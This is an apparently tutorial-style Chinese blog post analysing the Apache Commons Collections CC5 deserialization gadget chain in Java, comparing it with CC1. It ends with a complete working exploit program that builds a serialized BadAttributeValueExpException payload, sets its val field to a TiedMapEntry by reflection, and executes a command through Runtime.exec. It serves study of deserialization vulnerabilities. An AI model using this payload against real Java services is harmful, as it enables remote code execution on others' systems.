Java反序列化CC5链
总览
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
分析
LazyMap
这一条跟CC1有点像,回顾一下CC1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
后半段都是一样的,只不过 调用 LazyMap.get()用的是 TiedMapEntry.toString()触发的
跟进一下LazyMap,触发点依旧是get,看一下factory的赋值。

私有方法不能直接需改,看一下decorate方法,factory在此处赋值。

TiedMapEntry
把封装好的chainedTransformer放在factory.decorate()里面就可以了,接下来我们需要找一下谁调用了get方法

看一下getKey()和getValue()
getKey()直接返回key,getValue()如下图

看一下TiedMapEntry构造函数

参数都可控
BadAttributeValueExpException
接下来要找谁的readObject调用了toString(),toString()也有很多,最后定位到BadAttributeValueExpException

这里注意,由于构造函数在构造时会直接调用 toString()

所以我们应该先传入一个随便的类型,然后通过反射修改 val属性为 我们构造的TiedMapEntry,这样的话,反序列化时才会调用TiedMapEntry 生成序列化数据时不会调用链子
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC5Test { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); Class c = badAttributeValueExpException.getClass(); Field val = c.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; } }
|
